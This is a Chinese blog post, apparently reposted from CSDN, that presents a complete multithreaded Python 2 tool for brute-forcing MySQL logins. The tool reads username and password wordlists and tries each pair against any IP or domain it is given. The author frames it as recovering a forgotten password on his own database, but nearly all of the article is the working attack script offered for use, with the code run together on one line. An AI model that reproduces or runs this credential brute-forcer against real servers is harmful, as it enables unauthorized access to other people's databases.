用Python写了个工具,完美破解了MySQL

Python网络爬虫与数据挖掘

共 3132字,需浏览 7分钟

 ·

2021-08-11 09:54

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接:

https://blog.csdn.net/l1028386804/article/details/118378477


今天下班回家想登录MySQL数据库,很遗憾,我忘记了MySQL数据库的用户和密码。我该怎么办?使用安全模式登录?我想每个人都应该知道这样一种传统的方式!今天,让我们来做个改变,就是用Python写一个工具来破解MySQL,看看它能不能破解出MySQL的用户和密码。


爆破脚本

这次编写的爆破MySQL的Python脚本使用了Python中的多线程编程,并且导入了MySQLdb模块。运行时,脚本分别接收如下五个参数:

  1. 待破解的ip/domain:例如127.0.0.1

  2. 端口:例如3306

  3. 数据库:例如test

  4. 用户名列表文件:例如user.txt文件

  5. 密码列表文件:例如password.txt文件


下面给出完整的脚本代码:


#!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: utf-8 -*-# Date: 2021/07/25# Created by 盟主# Description MySQL暴力破解工具多线程版import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPool try:    import MySQLdbexcept ImportError:    print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'    print '[!] http://www.codegood.com/archives/129'    exit()  def usage():    print '+' + '-' * 50 + '+'    print '\t   Python MySQL暴力破解工具多线程版'    print '\t   微信公众号:Python联盟'    print '\t\t Code BY: 盟主'    print '\t\t Time:2021-06-30'    print '+' + '-' * 50 + '+'    if len(sys.argv) != 6:        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"        print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"        sys.exit()  def mysql_brute(user, password):    "mysql数据库破解函数"    db = None    try:        # print "user:", user, "password:", password        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))        # print '[+] 破解成功:', user, password        result.append('用户名:' + user + "\t密码:" + password)    except KeyboardInterrupt:        print '已成功退出程序!'        exit()    except MySQLdb.Error, msg:        print '程序出错,错误信息为:', msg        pass    finally:        if db:            db.close()  if __name__ == '__main__':    usage()    start_time = time.time()    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):        host = sys.argv[1]    else:        host = socket.gethostbyname(sys.argv[1])    userlist = [i.rstrip() for i in open(sys.argv[4])]    passlist = [j.rstrip() for j in open(sys.argv[5])]    print '\n[+] 目  标:%s \n' % sys.argv[1]    print '[+] 用户名:%d 条\n' % len(userlist)    print '[+] 密  码:%d 条\n' % len(passlist)    print '[!] 密码破解中,请稍候……\n'    result = []     for user in userlist:        partial_user = partial(mysql_brute, user)        pool = ThreadPool(10)        pool.map(partial_user, passlist)        pool.close()        pool.join()    if len(result) != 0:        print '[+] MySQL密码破解成功!\n'        for x in {}.fromkeys(result).keys():            print x + '\n'    else:        print '[-] MySQL密码破解失败!\n'    print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

脚本编写完成后,运行,等待了一段时间,将我的MySQL的用户和密码完美的破解出来了。


- EOF -

回复关键字“简明python ”,立即获取入门必备书籍简明python教程》电子版

回复关键字爬虫”,立即获取爬虫学习资料

点击关注【python入门与进阶】,阅读更多精彩内容
👇👇👇

推荐

浏览 45
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报